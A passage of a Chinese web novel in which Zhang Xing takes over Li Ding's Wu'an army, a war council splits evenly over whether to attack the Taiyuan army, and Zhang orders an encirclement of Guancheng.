李定前面还在装作若无其事,听到最后却也色变,隔了好久方才讪讪:“何谈第一个,白三娘莫不是人吗?” 张行本能想反驳,但话到嘴边到底是意识到事情已经定了,此时又非当年在东都洛水畔整日高谈阔论的时候,就不再理会,反而正色来言:“不说此事,既然事情定了,便该看眼下局势如何……你有什么想法吗?” 李定思索片刻,缓缓摇头:“得看南线情报,现在情况不明,还是按照既定方略,让你们的人继续往平原去为上,不过可以在渡清漳水后稍微偏南,靠近武阳郡一带为上……” “什么意思?”张行状若不解。 “何必装作不知?”李定无奈叹气道。“你这个人若说行军布阵可能差了点,但抓战机的天赋比我跟白横秋都要强上三分……我知军不知人心,白横秋知人心不知军,你却都能兼顾……堪称独步天下!现在的局面是,既然武安军从了你,东都军又溃散,那自此地往大河为止的局部战场上,便是黜龙军反过来占尽了优势,你若不追一追,装作是你胜了这一场,趁机收拢人心、收复失地,必然是不心甘的。” “知我者李四郎是也。”张行大笑,却又立即肃然朝周围吩咐。“诸位,今日事可喜可贺,但现在还是在战中,必须要立即采取举措才行,李龙头就在我身侧,我说几个事情,他若不反对,辛苦诸位去做一下……首先是要接济我部……哪位是高士省高都尉?” 一名藏身在张十娘侧后方的将官转身出来,拱手以对:“张首席。” 却又瞥了一眼目光向斜上方的李定。 “请你回一趟襄国郡,不要带太多人,三千人足够了,然后有两件事要辛苦你,一件是我们在大陆泽有伤员,是周行范周头领与贾闰士两人带领着的,你务必帮我安置一下;另一件是要你看管住襄国各方面动向,不要让消息外泄,引来河北其他各家的窥探。”张行认真吩咐。 高士省省的意思,但并不直接应声,还是去看李定。 李定目光根本不在此人身上,但闻得声音停顿却也晓得是怎么一回事,然后随着张行一拽,无奈低头叹气:“按照张首席的意思去做,总不能让人病饿在大陆泽里。” 高士省彻底释然,立即拱手称令,然后匆匆而去。 这个时候,张行复又四下来看。 苏靖方被扫到,立即便要拱手。 孰料,张行直接指向他身前一人:“苏都尉,请你亲自走一趟!带本部三千人加部分军需追上去,接应我部主力,然后一起渡河往武阳走。雄天王和徐大郎他们知道我过来,派个斥候联系一下,他们就晓得我的意思了。” 苏睦答应的就很利索了,但还是多看了一眼李定。 苏睦一走,张行便又来看王臣愕与苏靖方:“王副都尉,你跟小苏一起留在这里安抚军心,务必不要让事情外泄,同时南面情报若到,务必第一时间交予李四郎与我知道,我与四郎和四嫂就在这里坐一坐。” 这个任务,若是王臣愕去看李定等后者同意,反而显得荒唐,便也只好拱手。 而转过身来,眼见着整个黑帝大观重新活了过来,又看了眼跟在身后的小苏,这位王副都尉不由叹了口气。 且说,王臣愕作为王臣廓的同族,甚至是王臣廓投奔白横秋的搭线人,其**倾向毋庸置疑。 但是,之前李定对其的警告和他本人的剖析也清楚让这位河北本土豪强出身的武安军支柱醒悟到,既然已经成为了李定-武安军这个集团的一部分,而且是支柱部分,并且长时间存活了三四年,他身上的**烙印就已经无法摆脱了。 哪怕是从功利角度来说,也只有跟着李定走,才能取得更好的结果。 这份觉悟,再加上此战规模与结果的冲击,包括之前谢鸣鹤对局势清晰分析与诚恳劝说,其实已经让这个**上略显灵活的本土军头意识到,有些东西几乎不可避免。 然而,即便如此,张行的举重若轻,对武安军上上下下……也就是李定本人到下面他们这些立场偏向略显不同的同僚……都能如此轻易拿捏,还是让这位王副都尉感到一丝恐惧。 他敏锐的意识到,李定已经够可怕了,张行更可怕,自己恐怕上了一个更大、更强、更有粘性的贼船,很可能这辈子都脱不开了。 可那又如何呢? 乱世当中,自己一个本土本地的豪强,能连续搭上船,就已经算走运了,那什么高士瓒、诸葛仰,论家底子论修为,哪个不比自己强,如今都在哪里? 张行骤然一个回马枪,说降了李定,武安军上下有思想上的摇摆乃是理所当然之事,莫说只是武安军的高级军官们胡思乱想,便是闹出什么兵变逃亡也属寻常,故此,张行和李定根本不做理会,只是在破了相的黑帝爷注视下坐在了廊下以避正午阳光。 张十娘没有留下,她在李定的示意下去了隔壁的郡城,人一走,剩下两人这才终于撒了手,然后就如当日东都小院中闲聊一般开始了……闲聊。 “你弃了伤员还这么齐整,必然是有成建制援军,哪里来的?”李定率先来问。 “北地与晋北。”张行毫不遮掩。“合计五千骑,然后整合了部队,皮袍子撕开了以求整齐。” “还是不对。”李定想了想,复又摇头。“数字不对,这么算,你们加上伤员几乎到了万人,那夜激烈到那个份上,如何还能剩这么多?” “还有周行范……小周,他受了重伤,却居然走运遇到了徐大郎,然后一起找到了大陆泽,汇合了我们。”张行立即补充道。“我们是七个营一起到了。” 李定这才稍显恍然,却又一时沉默,片刻后方才来问:“小周伤势如何?” “只能说现在勉强保命吧。”张行幽幽以对。“之前根本来不及想,也不愿意想,我现在就怕等这股劲过去他落到李清臣那个结果……钱唐说李清臣勉强活着,修为却再难上去,身体也渐渐支撑不住,反过来影响了心智……身残志坚,谈何容易?” “这就要看他的血气了,不过小周素来比李十二郎要强一些的。“李定也只能这般说了。 而过了片刻,李四郎复又开口:“你知道李枢没有过河来吗?” 张行闻言一愣,旋即失笑:“这又如何?总有人要守着河南,何况他本不擅长领兵,让单通海来足够了。” “道理是对的,但李枢并未留在河南。”李定缓缓摇头。“听人说他直接带着剩余部队,还有他在河南新起的几个营头往南面去了。” 笑了一整天,或者说从昨晚上就笑个不停的张行终于沉默了下来,他根本没有在意是“听人”的“人”是谁,而是在沉默了好一阵子以后语气萧索起来:“麻烦了!” “你也有麻烦的时候?”板了两天脸的李定反而失笑。 “怎么可能没有麻烦?”张行无奈道,简直就像是在倒苦水。“天下事最难最容易的都是人心,之前白横秋一击不中还要强行围困,可不只是他军事误判,更重要的是他在赌人心,赌我们被困时,外面的黜龙帮各处人心离散……我本可再耗一耗,却在闻得战机后咬牙突出来,也是担心人心离散。现在河北人心险之又险的拢住了,但还是不保险,还是人心波动,不然何至于匆匆来你这里,又要装作得胜去追白横秋?河北如此,河南那里原本就分锅吃饭不说,还有许多诸如淮西军、内侍军、知世军这些外家的人,不是说这些人就居心叵测,但最起码是容易误判形势,擅作主张的,到时候算谁的?” 到了这个时候,李定其实心中稍微平复,接受了眼下被事实兼并降服这个事实,而接受以后也觉得自己今日之前有些失态,现在也有些不够爽利,便反过来安慰:“不管如何,先做好眼前的事情,最起码要将白横秋送出河北……我派出去的人估计也快回来了,白横秋有没有在单通海身上得手,情势如何,才是关键……已经让你部往武阳郡靠拢,咱们这里稍微等等,不耽误事情。” 张行点头,不由来问:“南线情况复杂,而且关键,你派谁去报的信?为何不让小苏去?” 李定略显尴尬:“主要是觉得小苏这些日子往来不断,白横秋说不定已经有所察觉,而且也太累了,但也有一些私心……” “怎么说?” “我派出去的是樊梨花。” “樊虎、樊豹的妹妹?我托付你收留的那个?” “她……如何?” “修行上是个奇才,突飞猛进,我不知道具体情况,但或许已经凝丹了……或许没有……她去年这个时候大概就是这个修为了,是武安军没有伸展,耽误了她。” “这倒是实话,黜龙帮里的那些高手真的是水涨船高,得势不得势,对下面人影响太大了……然后呢?” “然后,领兵上限应该是个……我也不知道,我现在只能让她做个五百主,想来领个几千人做个战阵之将总是没问题的。” “你知道我是在问什么。”张行终于无语。 “她有些粗心,而且作为军中少有女将过于显眼了。”李定平静作答。“至于说对黜龙帮的态度,也不好说,或许转过弯来了,或许没有呢,尤其是对上单通海,那可是跟樊虎打了许多仗的人……我用她,本就是想,若是通知到了,也就到了,是你们黜龙帮的运道;若是她被发现了,心中懊丧故意拖延了,那自然是我李定对你们包藏祸心,想让你们吃暗亏了。” 话到这里,李四郎顿了一下:“只是没想到,你连着杀了两个回马枪。” 张行点点头,不再吭声。 正午春光明媚,两人许久未见,如今又刚刚结束了数年的**,完成了会师与合并,本该是热情高涨,从私人情谊到**关系全都更上一层楼的,但是没办法,数年的独立派系生涯还是让双方形成了一种理所当然的隔阂。 当然,这种隔阂其实也不算什么,依着两人的交情和这些年持续的势力互动还是很容易打破的,然而,这不是局势还没有稳定吗?不是危机一个接一个吗? 这个时候,谁也不知道清漳水南岸的情况,不晓得接下来是一场武装**还是一场必须要迅速发动的解围战。 故此,两人都不再言语,只是坐在廊下望着因为开拔彻底喧嚷起来的大观广场发呆。 而残破的黑帝爷则在自己的位子上望着他们发呆。 就这样,大约过了一个时辰,终于等来了第一个行动反馈,紫色的云霞将雄天王衬托的宛若神仙一般,直接从黑帝观的外墙飘过,落在了大殿前,明显有**显圣之意……这位天王既晓得张行此行有较大把握,怎么可能不做留意?张行走后更是在与徐大郎商议妥当,亲自往回来准备做接应,结果见到黑帝观中第一批放出的信使与哨骑,问得结果,就径直过来了,再加上局势气氛不明,自然要展示出力量,以防万一。 不过,等他落到殿前,见到端坐二人,晓得情势比自己想的要好,不由大喜,便来称贺,而闻得张行追击计划,也表示赞同……这个时候不去追,反而显得会露怯……只是忧心单通海那些人会不会被扑到,希望樊梨花能将消息及时送达。 转而正要问李定如何一致行动,要几个头领名额时,那樊梨花果然回来了。 “属下没见到单通海,也没继续南下。”樊梨花俨然认识张行,也知道雄伯南,便带着某种局促涨红着脸来朝廊下诸人复命。“属下遇到一个黜龙帮的熟人,交给她后就折回了……是窦小娘,她从东面过来去西南面,路上撞到的。” 李定没来得及反应,本就意图让樊梨花自行其是的他也没有资格反应。 实际上,反应最大的是雄伯南,其人振奋难耐,刚刚坐下便又站起:“如此来说,单大头领那里是能得到妥当消息了!窦小娘不可靠,谁还可靠?!而且这说明魏公他们一点都没有耽误事,该出兵出兵该联络联络,这是最好的局面……咱们可以不必等了,先汇集兵力往南走。” 李定面色如常,张行微笑表示赞同……因为确实如此,尽管不能直接得到南面相关军情的确切反馈,但毫无疑问,窦小娘以信使身份中间截胡是一个最好的前置结果。 不过很显然,惊喜还在后头。 “若是这般……”李定犹豫了一下,忽然来问。“你只走到半路上便遇到了人,为何现在才回来?昨日不就该回来了吗?” 樊梨花不敢隐瞒:“属下得到的军令是去传信和打探情报,遇到窦小娘只是传信的事情了结了,但打探情报还不行,就在渡清漳水回来后转到邺城,在邺城北面浊漳水桥头上守住,那里消息灵通,是咱们往南面的交通要害,若是南面有战事既方便知道也方便回来汇报。” “那你得到南边战事情报了?”李定还是不解。 “没有,属下今日早上在桥头遇到了人,他们看属下亮着旗号,就问属下是不是府君手下的人?我说是,他们就说他们是府君在东都的故人,要见府君,属下就把他们带来了。”樊梨花依然不做隐瞒。 “你去侦查,还亮着旗号?”尽管知道对方不是这块料,是自己强行赶鸭子,但李定还是忍不住提高了音量。“他们说是故人你就信了?” 樊梨花近乎委屈,却只能辩解:“那两个人里面有位年纪很大的,说是府君你当日在东都的上司,从东都逃出来要来投奔府君,我觉得一来这么大年纪不大可能作假,二来府君也肯定想知道东都的事情,就把人带来了。” “算了,把人带来吧!”张行忽然打断了对方的言语,扭头看向了李定。“我们现在问一下东都的情形,然后立即合兵南下!” 李定只能胡乱颔首:“你把人带来。” 樊梨花如释重负,却因为张行和雄伯南的出现和什么合兵南下的说法而对局势一片茫然,只能带着疑惑匆匆退下。 随即,两个熟悉的人被樊梨花引着转到了大殿前。 见此二人,李定还有原本还想着要如何拿捏樊梨花的张行齐齐诧异站起身来,引得雄伯南一时不解,但马上雄天王也意识到发生了什么。 无他,来的两人,年长者他一时没想起来,其余人却晓得是张世昭,而另一个昂藏大汉赫然是见过几次的秦宝秦二郎。 果真有些人生何处不相逢的感觉了。 几人相见,出乎意料,秦宝居然是唯一一个没有诧异之色的人……实际上,他们刚一进来,本地士卒过来牵马收兵刃时,秦宝忽然闻得一声马鸣,然后便见到了那匹主动向自己打招呼的黄骠马,然后瞬间醒悟了局势。 只不过,秦二郎到底是个内敛精细的,没有吭声罢了。 而四人中,第一反应最激烈的则是李定,这位自诩天下奇才的李四郎终于将惊异慌乱摆在了脸上,他看了看秦二郎与张世昭,复又回头去看被自己打的漆开木绽的黑帝塑像,再来看张行,饶是他已经对局势发展有了足够的想象,但这种一日内昔日故旧汇集的戏码,而且是归于同一阵营的戏码,还是让他感到一丝荒诞与恐惧。 没错,是恐惧,李定有点后悔去鞭**家黑帝爷了,毕竟,现在看来,张行对自己的喝问,本身就是一种回应,而秦宝与张世昭的出现,更是加深了这种回应。 但是,真有了某种意义上的回应,他反而有些恐惧了。 只不过,李定到底是李定,其人稍一思考便收敛了表情,压住了这种多余的心思。 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“惭愧。”李定回过神来,朝张世昭躬身行礼,倒是终于恢复了神采。“居然劳动张相公这般辛苦!” “哪来的张相公?”张世昭站直了身子,负手再笑。“我自是黜龙帮资历**,只是之前碍于大魏尚在,为了家人不好出面罢了,如今大魏将死,总能站出来为帮中做些事情,便是劳动也是为帮中劳动,李四郎何必在意?况且,你若真知道我准备用什么法子与你谈生意,怕是反而要后悔这般礼遇的。” 李定定了定神,晓得没有好话,还是认真来问:“张公准备怎么跟我谈生意?” “我来的路上,只从樊头领妹妹这里得知,你在这里猬集了武安军全军,而张首席他们当时突围向西北而去,便决心来见一见你,乃是要以司马二郎信使的身份靠近你,然后让秦二郎突然出手挟持住你,逼迫武安军分出一万人北上去追击张首席他们……”张世昭脱口而言,没有丝毫迟滞。 樊梨花听得面色煞白,她万万没想到自己带来的这两个人居然真存了不良之意……然而仔细回想见面时的言语,这老头好像又没有说过一句谎话,复又觉得有些荒诞。 另一边,刚刚笑完的张行听完,第一个反应过来,忍不住拍着柱子大笑:“好主意!张公不愧是天下智囊!” 李定和雄伯南都有些不解,前者忍住,后者不由来问:“张……张**,何妨先礼后兵?你看首席这里不就说动了李府君吗?如何上来便要喊打喊杀?” 到底是没有问为什么要追击的问题。 “天王,事情不是这么说的……”张世昭听了以后连连摇头。“之前一战撕裂了河北局势,双方力量拉扯,李四郎猬集全军在这里,是不敢动也不可能动的,无论是让他北上还是让他南下,无论是让他从我们还是从白横秋,都不会动,所以必须要用奇招……而反过来,只要他动了,靠近了咱们,威逼利诱、宽宏恩义,都能轻易将他拉过来,到时候便能从容来处置了……只是我也没想到,李四郎不动,首席却反过来动了,而且效果这般好。” 雄伯南恍然,李定讪讪。 “都是李四郎本心已定,咱们的计策虽然不同却都是上来推一把的意思。”张行发自内心的为李定解释一句,却又立即来问。“而且现在也不是感慨这些的时候……张公,我意武安军反正,便仿效白横秋当日出红山之事,汇集河北全军再拉上武阳郡兵马,合力向南,追击太原军,你意如何?” “可行。”张世昭眼皮都不眨。“正该如此!我自南面来,看的清楚,东都军全然崩溃;非只如此,之前曹林将东都军带出东都,随后身死,以至于东都内各方人心惶惶,也都想寻一个稳妥之人来保卫东都,故司马二郎入东都轻而易举,各处要害掌握妥当……现在白横秋再去,不免晚了,他唯一的道路就是在河内转入上党,出河东,入关西,咱们拿出之前顶住他的谨慎,慢慢压过去,自可借势而宣胜!” 张行愣了一下,这个回答自然没什么问题,但其中有个信息还是让他不得不幽幽以对:“曹林**?” “**。”张世昭面色稍肃。“就在我眼前,最后一丝元气当面从身上散了,然后就是朽木死肉一坨了。” 此言一出,李定还好,毕竟之前从联军那里早有信息和猜度,只是此时完全确定而已,但也不好受。 黜龙帮最高战力、宗师雄伯南却有些感慨了:“大宗师……大宗师何其难?自正脉开始,十二正脉一条条来冲,然后靠天赋和运气来冲奇经八脉,来凝丹,而凝丹后接着又要艰难夯实丹田,夯实了又要观想,到了宗师还要有自己的念想,还要有地气来依仗……天时地利人和都到了,才有万一的结果成了大宗师,可说死还是要死。” “那是因为大魏要**,他自然也要死,他**,大魏更要死。”张世昭冷冷以对。“他自家将身家性命与志向修为全都托付在大魏上,却不能阻止大魏土崩瓦解,岂不是自败?天王,你既到了宗师,便该晓得,大宗师、宗师,存了道、立了塔,于寄托的事业而言,自然是个巨大的助力,但于个人而言,便也是个囚笼!” 雄伯南点头:“我只是稍有感慨,并非不懂得其中道理。” 张行安静听完,复又来问张世昭:“张公,所以,现在集合兵马往武阳-魏郡汇集,可行吗?” “我觉得没问题!”张世昭正色作答。 “那就也出兵吧!”张行看向了李定。“武安军先南下往邺城,到了那里,讯息更加明了,再行汇集……” 李定想了一想,点点头,便直接朝发懵的樊梨花招手。 张行复又看向雄伯南:“天王,虽说徐大郎那里不用担心,但还是请你亲自往返几趟,要告知北面援军,咱们要汇集多路兵马,去追杀一位大宗师!请他们务必随从!也要告知咱们自家兄弟,我知道大家很累,但当此时机,正是伸张之时,今日疲惫,可以省却将来许多性命!至于我跟张公他们,就在这里随李四郎行动,从速合兵。” 雄伯南也不再犹豫,看了眼下拜不动的秦宝,径直腾起离去。 张行这才走向了一直没有理会的秦宝,后者拱手躬身,全程一声不吭。 来到跟前,张行只是单手去扶,言语也简单到极致:“二郎,你来的正好,贾闰士在后面照顾伤员,此战你为我主骑!替我开路!” 秦宝拱手不变,即刻抬头:“秦二不才,敢不为三哥效命?” 当夜三更,武安军一万两千人进抵浊漳水,突袭五都之一的邺城,兵不血刃入城;同一时间,在旧战场休息了不过两三个时辰的黜龙军前锋,开始渡过清漳水,却不往东走,反而南下武阳郡腹地。 翌日,在得到相关讯息后,武安军放弃了邺城,向东而行,并在武阳郡边界渡过清漳水,于魏县、繁水之间重新会师突围部队,到了下午部队陆续抵达,黜龙军突围主力、北面援军、随行支援的苏睦部,约一万四五千众尽数抵达,双方合军两万七千众。 且说,到了这一步,战场已经是混乱的,张行依然不知道大兵团在哪里,而单通海、刘黑榥等人又在哪里,更不知道太原军的主力在哪里,更不要说碎成一地的东都军了。 想来太原军那边只会更糊涂。 说起来可笑,这个时候,晓得整个战场情势的势力还真有一家,却居然是武阳郡本土势力,也就是元宝存及其下属。 “元公,要不要去联络一下魏公?”武阳郡郡城贵乡城内,郡府后院,一个摊开的大桌子前,本郡贼曹小心翼翼摸着桌上的巨大武阳郡地图打破了沉默。 “放屁!”元宝存勃然作色。“每支兵马都在运动,局势稍纵即逝,等见到魏玄定,什么都晚了!” 那贼曹立即闭口不言。 但是很快,随着元宝存死死盯着地图以及地图上的简单标注数息后,这位始终在河北屹立不倒的军阀还是喘着粗气缓缓开口了:“这也是机会……这个时候,只有我们一家知道整个情势!必须要立即决断,告知情报,参与战斗,便可起到奇效,立下奇功!” “那元公,我们是从张氏呢,还是从白氏?”又有人按捺不住了。 元宝存扭过头去,看着对方,依旧是严厉呵斥:“什么张氏、白氏?我们是为了天下大义,为了河北安靖,为了武阳郡百姓之安泰!” 众人愈发惶惶。 而元宝存吐出一口气后终于下令:“户曹去找在莘县的刘黑榥,让他去截杀在沙麓收拢溃败的段威!兵曹寻堂邑的黜龙大兵团,贼曹去寻在元城的魏玄定,功曹寻在魏县的张行、雄伯南,安副都尉亲自去寻在澶渊的单通海,告诉他们,白横秋主力昨日自内黄转博望,其部孙顺德在观城……他们自不量力,居然妄想围杀单大头领!” 众人气息粗重,各自凛然躬身称是。 元宝存点点头,忽然又想起来一件事:“暂时不要动惬山的窦历……仓曹去请他喝酒!天黑之后,再宰了这小贼厮!” 话到最后,居然咬牙切齿。 第二百八十九章 山海行(36) 第459章山海行(36) 夜间,已经进入下旬的月色显得有些昏暗,河北武阳郡繁水县以北、魏县以南、清漳水东南侧的旷野中,混着分不清杂草与庄稼的田地上,铺陈着一大片军营,军营虽然连成一体,却明显分为东西两个群落。 此时,周遭并无多少动静,但在西边军营的中心位置,一处较大的篝火圈旁,还是有许多人围拢起来讨论局势……没办法,他们刚刚收到了一个意想不到的情报。 “你怎么看?”待信使第四次重复完情报后,张行看向了李定。 李定沉默片刻,反问过来:“你确定要先听我的言语?” 周围将佐中,有黜龙军头领,有武安军的校尉,有北面援军的几位首领,堪称泾渭分明,便是张世昭张**与秦宝也独自坐在张行侧后方,显得有些与众不同,此时却都默不作声,那来报信的武阳郡功曹也低头不语。 毕竟,事情敏感,军情严肃,战机就是一瞬间,这个时候必须要迅速作决断,然后这个决断很可能直接导致数万人的胜败生死,张行这个时候问一个降将,说好听点是用人不疑,说难听点是你张首席信他可刚刚熬过生死劫的黜龙帮头领们却未必愿意信。 李定显然也意识到这一点。 至于说武安军的其余将佐,对这个问题就更是敏感了,而且心思也更复杂……没看到唯一女将樊梨花一直神游天外吗?她现在最想知道的是自家哥哥下落和位置,却偏偏没有开口的机会,也不知道如何开口。 转过来,张行想要回复,却被雄伯南抢了先:“李龙头这是什么话?既举了义,来了帮中,便是一家人,你自先说,行不行,有什么不对的地方,大家再论,何必顾忌?” 李定无奈,只能给出答复:“我觉得可以即刻传令各处,明日一早发兵合围白横秋的太原军主力。” 周围人还是不应声。 李定察觉到某种怪异,便去看张行,身后张世昭也来看张首席。 孰料张三反问:“具体方案是什么?” “具体来说,我们这边,可以顺着清漳水去扑黎阳,背水以作堵截;让单通海作诱饵,在澶渊不动;其余各处,包括武阳郡郡兵和刘黑榥,什么都不用管,段威不值一提,都尽快往这边赶就行,然后看形势把太原军围起来!”李定说完不由皱眉来问。“到底有什么不妥吗?” “武阳郡本乡本土,元府君又在此地经营许久,他在贵乡先知道各方动静实属常理,但问题在于,武阳郡可靠吗?消息是真是假?会不会是白横秋联手元宝存反过来对我们的诱饵?”王叔勇忽然正色来问。“这俩人都是大魏朝廷里的高官,肯定认识。” 张世昭微微挑眉,嘴角也不由挑了起来……这话怎么听起来有些怪异呢?…. 不过,济阴行台的事情确实是一摊烂账,张行这里虽然纳了自己,却不好多说的,今日军议也是如此,大家都是头领、大头领,还有个带着地盘兵马过来的大龙头,自己一个**,还是不要摆旧朝宰执的谱为上,弄清楚怎么回事为上。 “我觉得不会是诱饵。”正想着呢,盯着火堆的马围头也不抬,便说出了张世昭想说的话。“若是诱饵,前提是白横秋料事如神,早在我们还在大陆泽的那天晚上就猜到首席能说服李府君,然后预备下这里……可便是我们,王五哥你想想,昨日之前,又有几个人想到会与武安军合流呢?咱们到今夜都还是惊讶的。” “不错。”崔肃臣也提醒了一句。“不只是这件事,十七日的战事之后,军队是散的,我不信韩引弓往西面跑是他白横秋的布置,更不要说东都军碎了一地了……现在局势混乱,十个里倒有七个是散开的东都军混淆视听,这个局面他预判不了。” 王五郎胡乱点点头。 而崔肃臣也继续分析了下去:“还有,退一步讲,非说是白横秋修为通天,有什么法子第一时间知道了我们合兵过来,或者昨日便有人间谍去报信,现在他遣人引诱我们入彀,可为何要用武阳郡的人?武阳郡的人为何又要助他?也没道理的。” “此人会不会是白横秋的暗子,老早有什么安排?”徐大郎冷不丁开口。“恰好在附近,就过来了?” 这话说得就过分牵强了,甚至有些抬杠的意思,以至于完全没有插嘴意图的北面援军四位首领纷纷皱眉……不过,崔肃臣本人倒是没有任何不满的意思。 而那功曹惊愕之下也只是要自辩。 不过,马围冷静反驳,立即又堵**这个口子:“不会,因为局势这么乱,非是武阳郡郡中,是不大可能第一时间便知晓四下关键军情的,而关键军情如何,咱们辛苦一下伍大头领走一遭,天明就知道,做不得假。” “此事交与我。”伍大郎立即颔首,复又摇头。“不行,还是不能去打白横秋。” 几人古古怪怪,俨然有事隐瞒。 现在轮到伍惊风,李定看了眼这位堪称总角之交的故友,脾气终于有了发泄对象,当场冷冷来问:“伍大郎,你来说为何打不得?!你们之前一万人守得他十几万人,现在他剩两三万人,你们马上就要调集个十万大军,为何反而怕了他?” 伍大郎欲言又止。 王臣愕在旁似笑非笑:“难道是因为这主意是我家府君提议的,便不想去做吗?” 众人齐齐去看王臣愕,宇文万筹等人干脆精神一振,巴不得两家打起来。 而尉迟七郎更是忍不住嘟囔:“说的不错,危局解了,现在头前便是大宗师也该去打一打!” 此言一出,立即引发了讨论,苏睦等人也都纷纷出言,而黜龙帮诸将只是冷冷驳斥,强作分辨。…. 黄平眼睛尖,注意到这个时候,坐在正北面的自家外甥忽然转过头去,就在身后附着旁边李定的耳朵说了一句话,后者一愣,则死死盯了回来。 很显然,黜龙帮有什么内情,不愿意跟自己这些援军还有新转变立场的武安军当众分享,自己也不好问。 周围几个黜龙军头领见到,也晓得李定是知道了原委,便都不再计较,而徐世英更是适时开口,朝几位武安军将佐来解释:“其实也没什么好遮掩的,我们太疲惫了,而且损失极大,尤其是队将、准备将一层中坚力量损耗太大,未必能再摆出大军阵来,所以实在是不敢再与大宗师对垒,省得再白挨三颗棋子了!” 李定回过神来,微微一颔首:“那就错开,不理会白横秋,从此地往南直接插过去,截断孙顺德……其余兵马务必赶上来!单通海也来!” 还想说话的王臣愕等人不由讪讪。 张行则看向了徐世英:“徐大郎怎么看?” “可行!”徐世英干脆了许多。“但真有必要打吗?若是白横秋为了面子咬**要回身救援孙顺德,又该怎么办?真要大战一场?真要是白横秋发了狠,肯定比大兵团来的要快许多。” “那不正好?!”尉迟七郎似乎迫不及待。 “既然没把握,还是没必要拼命。”陆大为在旁主动来劝。“徒耗士卒性命。” 一众人再度争论起来,很显然,在张行和一众黜龙军部队明确表示了战力有些问题以后,这次争论的是关键从要不要尝试包围整个太原军变成是包围太原军的偏师还是干脆放缓一步,将偏师也放出去。 而说了许久,都争论不出结果来。 于是,张行干脆拍了下手,周围随即变得安静下来:“诸位,咱们不能耽误时间,按照规矩,赶紧举个手吧!” 周围人精神一振。 话到这里,不待众人言语,张行临时以手指向了在坐的许多人:“北面援军四位各自算一手,武安军中都尉、副都尉也都各自算一手,张**和秦二郎暂时不算,张公慎将军先表头领再细细**,算一手。” 说着,径直举手,其余人面面相觑,各自举手。 然而,张行以下,在座众有举手资格的二十人中,居然来个十对十。 其中,雄伯南、李定、贾越、马围、张公慎、尉迟七郎、宇文万筹、蓝璋、苏睦、王臣愕是赞同去打的;徐世英、王叔勇、伍惊风、牛达、徐师仁、莽金刚、程知理、崔肃臣、黄平、陆大为都是不赞同的。 “总不好让守营的谢大头领跟王头领(谢鸣鹤、王雄诞)再过来吧?”雄伯南有些无奈,干脆看向张行。“按照规矩,首席这一手直接定了,你怎么说,直接下令吧!” 张行点点头,复又在火堆旁苦笑起来:“鸡肋鸡肋!今日终于知道什么是鸡肋了!”…. 在座众人中有些明显不解其意。 但马上,张行稍一思索,便反问过来:“既如此,我怎么操作都行?” 无人驳斥,而不等人点头,他便下了军令:“那就试着把观城给围了!” 计议已定,篝火旁的众人当即振作,抛开之前的各种犹疑,又议论了些细节,最终还是让伍惊风辛苦,连夜先去见单通海,然后若情报有误便折回告知,若无误,便让他转向东面寻魏玄定、陈斌等人,召集兵马来援。 这个时候,还是安全为上。 同时,到底又让偷懒睡觉的谢鸣鹤起来,随这武阳郡功曹连夜折返,乃是要求元宝存扔下一切,同样出兵来援。 既上了船,如何能干站着不卖力气? 至于本地的黜龙-武安联军主力,却要歇息一晚了,因为这里面的黜龙军委实疲惫不堪。 而就在众人准备散去,黜龙军诸将也要折回自家在东面的大营时,张行忽然开口,叫住一人:“樊校尉,樊梨花!” 樊梨花措手不及,匆匆回头。 张行立即告知:“你兄长在东面大兵团里。” 说完这话,便也转身随李定往中军而去……原来,张行与张世昭、秦宝居然是住在李定的武安军营中。 一夜无话,翌日一早,造饭饮马之后,全军启程,径直南下。 到了这个时候,武阳郡的各方兵马也都重新活了过来,走了不过十五里,刚刚越过繁水县县城,便开始撞到零散的东都军,以至于不得不拉开阵型,分出两翼骑兵在侧前方与前方扫荡隔离,小规模战斗到处都是;走了二十五里,中午时分,他们又迎面遇到窦小娘带领的一队骑兵……这让黜龙军大为振奋。 没办法,尽管张行屡次回马枪看起来效果显著,突围的黜龙军也似乎获得新生,但实际上,对于黜龙军而言,他们其实一直都在被包围、在战斗、在逃窜,而且全程充满了战斗与非战斗减员……武安军的倒戈无疑是完全打开了局面,可对于黜龙军来说,让他们在刚刚经历这么多以后立即信任这支兵马数量比自己还多一些的生力军,未免显得强人所难……这也是两军分营而立,双方隔阂明显,包括昨晚上战和不定的根本缘故。 毕竟,道理上是武安军降了黜龙军,但黜龙军现在没有那个本事实际上能控制武安军,更不要说,他们甚至需要倚仗北面援军来维持平衡,但北面援军就完全可靠了? 尤其是中下层,就更是有一种从头到尾的紧绷与不安感。 但窦小娘就不同了,这是他们突围后遇到的第一支自家兵马,而且还带来自家一支主力友军的动向——单通海凌晨得到伍惊风消息,今日一早起兵,率领济阴行台五个营的兵马,外加曹晨一营轻骑,合兵一万余,已经离开澶渊往观城去了!…. 窦小娘本人也是被专门派遣来迎的。 于是,黜龙军主力立即微调方向,转向观城以西位置,试图会师。 非只如此,全军也不再尝试维持阵型,节制行军速度,而是拼尽全力,以战场机动的方式往彼处而去……毕竟,事到如今,与其余六个营会师,才是最稳妥也是最佳的战场选择。 除此之外,还有一个理由,那就是昨日黜龙军刚刚抵达武阳郡境内,尚还好说,但事到如今,大军骑步两万余众公然穿越州县,还是从白横秋-孙顺德-段威之间的正经通道上经过,再加上单通海也动了起来,还想不被发觉未免就显得自欺欺人了。 果然,黜龙军在窦小娘的引导下,距离观城以西预定地点还有二十里的时候,正在往黎阳进发的白横秋便得到了最关键消息——张行带着足足两三万的兵马忽然从旧战场的方向出现,向观城而去。 而在这之前,他们已经知道了单通海整饬兵马往观城去的情报。 但那个时候,这个消息不能给白横秋带来任何情感上的波动,最多喊一句‘小子狡猾’,反正不耽误合围……但现在呢? 坦诚说,现在,听到消息的这个时刻,这位大宗师、大军阀第一次在河北这边感到了一丝惶恐。 甚至是他离开东都往太原以后,面对着纷繁复杂的局势,第一次感觉到了一丝惶恐。 一丝,那也是惶恐。 上一次是什么时候?自己成为宗师后第一次面对喜怒无常的“圣人”奉迎时?还是因为牵扯到夺嫡被先帝贬谪南岭那一回?又或者是当年见到杨斌驾黄龙直下京口那一次?!还是与冲和年轻时游历蜀地,察觉到一丝天机时? 回到眼下,平心而论,这次太原军对黜龙军的突袭并不成功,可也称不上失败,因为一直是黜龙军在被**、围困,是黜龙军在逃,哪怕是白立本带领的少部分兵力被围歼,考虑到黜龙军也在战事与逃亡中损失惨重,这绝不是一个不能接受的结果。 而如果放大到整个出河北的特别军事行动这个层面来看,太原军甚至是不可置疑的胜利者。 原因很简单,别忘了,曹林**! 